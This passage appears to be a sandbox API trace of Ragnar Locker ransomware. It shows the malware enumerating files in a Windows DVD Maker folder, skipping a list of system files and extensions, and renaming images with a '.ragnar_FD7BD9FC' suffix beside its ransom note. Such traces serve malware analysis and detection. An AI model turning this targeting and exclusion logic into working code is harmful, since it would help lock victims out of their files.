(in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8170e1c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8170e1c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0079.191] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0079.191] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8170e1c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8170e1c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.191] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0079.191] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0079.191] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f955d49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f955d49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0079.192] lstrcmpiW (lpString1="1047x576black.png", lpString2=".") returned 1 [0079.192] lstrcmpiW (lpString1="1047x576black.png", lpString2="..") returned 1 [0079.192] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9c8160, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9c8160, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576_91n92.png", cAlternateFileName="")) returned 1 [0079.192] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2=".") returned 1 [0079.192] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="..") returned 1 [0079.192] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9ee2bd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9ee2bd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eee5249, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0079.192] lstrcmpiW (lpString1="15x15dot.png", lpString2=".") returned 1 [0079.192] lstrcmpiW (lpString1="15x15dot.png", lpString2="..") returned 1 [0079.192] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9a2003, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9a2003, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480icongraphic.png", cAlternateFileName="")) returned 1 [0079.192] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2=".") returned 1 [0079.192] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="..") returned 1 [0079.192] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa86831, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa86831, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.192] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2=".") returned 1 [0079.192] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="..") returned 1 [0079.192] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa3a577, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa3a577, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.192] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2=".") returned 1 [0079.192] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="..") returned 1 [0079.192] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa606d4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa606d4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.192] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2=".") returned 1 [0079.192] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="..") returned 1 [0079.192] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1441a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa1441a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.192] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2=".") returned 1 [0079.192] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="..") returned 1 [0079.192] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9ee2bd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9ee2bd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.192] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2=".") returned 1 [0079.192] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="..") returned 1 [0079.192] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa3a577, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa3a577, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.192] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2=".") returned 1 [0079.192] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="..") returned 1 [0079.192] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f92fbec, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f92fbec, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6114, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflect.png", cAlternateFileName="")) returned 1 [0079.192] lstrcmpiW (lpString1="reflect.png", lpString2=".") returned 1 [0079.192] lstrcmpiW (lpString1="reflect.png", lpString2="..") returned 1 [0079.192] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8170e1c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8170e1c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.193] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0079.193] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0079.193] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f97bea6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f97bea6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2fcdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="vistabg.png", cAlternateFileName="")) returned 1 [0079.193] lstrcmpiW (lpString1="vistabg.png", lpString2=".") returned 1 [0079.193] lstrcmpiW (lpString1="vistabg.png", lpString2="..") returned 1 [0079.193] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f97bea6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f97bea6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2fcdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="vistabg.png", cAlternateFileName="")) returned 0 [0079.193] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0079.193] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8170e1c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8170e1c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0079.193] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8170e1c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8170e1c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.193] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f955d49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f955d49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0079.193] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3e [0079.193] lstrcpyW (in: lpString1=0x1eab5e, lpString2="1047x576black.png" | out: lpString1="1047x576black.png") returned="1047x576black.png" [0079.193] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png") returned=".png" [0079.193] lstrcmpiW (lpString1="1047x576black.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.193] lstrcmpiW (lpString1="1047x576black.png", lpString2="autorun.inf") returned -1 [0079.193] lstrcmpiW (lpString1="1047x576black.png", lpString2="boot.ini") returned -1 [0079.193] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootfont.bin") returned -1 [0079.193] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootsect.bak") returned -1 [0079.193] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootmgr") returned -1 [0079.193] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootmgr.efi") returned -1 [0079.193] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootmgfw.efi") returned -1 [0079.193] lstrcmpiW (lpString1="1047x576black.png", lpString2="desktop.ini") returned -1 [0079.193] lstrcmpiW (lpString1="1047x576black.png", lpString2="iconcache.db") returned -1 [0079.193] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntldr") returned -1 [0079.193] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntuser.dat") returned -1 [0079.193] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntuser.dat.log") returned -1 [0079.194] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntuser.ini") returned -1 [0079.194] lstrcmpiW (lpString1="1047x576black.png", lpString2="thumbs.db") returned -1 [0079.194] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.194] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.194] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.194] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.194] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.194] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.194] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576black.png")) returned 0x20 [0079.194] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576black.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.194] CloseHandle (hObject=0xffffffff) returned 0 [0079.194] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png" [0079.194] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png.ragnar_FD7BD9FC" [0079.194] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576black.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576black.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.194] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9c8160, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9c8160, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576_91n92.png", cAlternateFileName="")) returned 1 [0079.194] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3e [0079.194] lstrcpyW (in: lpString1=0x1eab5e, lpString2="1047x576_91n92.png" | out: lpString1="1047x576_91n92.png") returned="1047x576_91n92.png" [0079.194] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png") returned=".png" [0079.194] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.194] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="autorun.inf") returned -1 [0079.194] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="boot.ini") returned -1 [0079.195] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="bootfont.bin") returned -1 [0079.195] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="bootsect.bak") returned -1 [0079.195] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="bootmgr") returned -1 [0079.195] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="bootmgr.efi") returned -1 [0079.195] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="bootmgfw.efi") returned -1 [0079.195] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="desktop.ini") returned -1 [0079.195] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="iconcache.db") returned -1 [0079.195] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="ntldr") returned -1 [0079.195] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="ntuser.dat") returned -1 [0079.195] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="ntuser.dat.log") returned -1 [0079.195] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="ntuser.ini") returned -1 [0079.195] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="thumbs.db") returned -1 [0079.195] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.195] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.195] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.195] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.195] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.195] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.195] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576_91n92.png")) returned 0x20 [0079.195] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576_91n92.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.195] CloseHandle (hObject=0xffffffff) returned 0 [0079.195] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png" [0079.195] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png.ragnar_FD7BD9FC" [0079.195] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576_91n92.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576_91n92.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.196] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9ee2bd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9ee2bd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eee5249, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0079.196] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3e [0079.196] lstrcpyW (in: lpString1=0x1eab5e, lpString2="15x15dot.png" | out: lpString1="15x15dot.png") returned="15x15dot.png" [0079.196] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png") returned=".png" [0079.196] lstrcmpiW (lpString1="15x15dot.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.196] lstrcmpiW (lpString1="15x15dot.png", lpString2="autorun.inf") returned -1 [0079.196] lstrcmpiW (lpString1="15x15dot.png", lpString2="boot.ini") returned -1 [0079.196] lstrcmpiW (lpString1="15x15dot.png", lpString2="bootfont.bin") returned -1 [0079.196] lstrcmpiW (lpString1="15x15dot.png", lpString2="bootsect.bak") returned -1 [0079.196] lstrcmpiW (lpString1="15x15dot.png", lpString2="bootmgr") returned -1 [0079.196] lstrcmpiW (lpString1="15x15dot.png", lpString2="bootmgr.efi") returned -1 [0079.196] lstrcmpiW (lpString1="15x15dot.png", lpString2="bootmgfw.efi") returned -1 [0079.196] lstrcmpiW (lpString1="15x15dot.png", lpString2="desktop.ini") returned -1 [0079.196] lstrcmpiW (lpString1="15x15dot.png", lpString2="iconcache.db") returned -1 [0079.196] lstrcmpiW (lpString1="15x15dot.png", lpString2="ntldr") returned -1 [0079.196] lstrcmpiW (lpString1="15x15dot.png", lpString2="ntuser.dat") returned -1 [0079.196] lstrcmpiW (lpString1="15x15dot.png", lpString2="ntuser.dat.log") returned -1 [0079.196] lstrcmpiW (lpString1="15x15dot.png", lpString2="ntuser.ini") returned -1 [0079.196] lstrcmpiW (lpString1="15x15dot.png", lpString2="thumbs.db") returned -1 [0079.196] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.196] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.196] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.196] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.196] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.196] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.196] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\15x15dot.png")) returned 0x20 [0079.197] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\15x15dot.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.197] CloseHandle (hObject=0xffffffff) returned 0 [0079.197] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png") returned="\\\\?\\C:\\Program 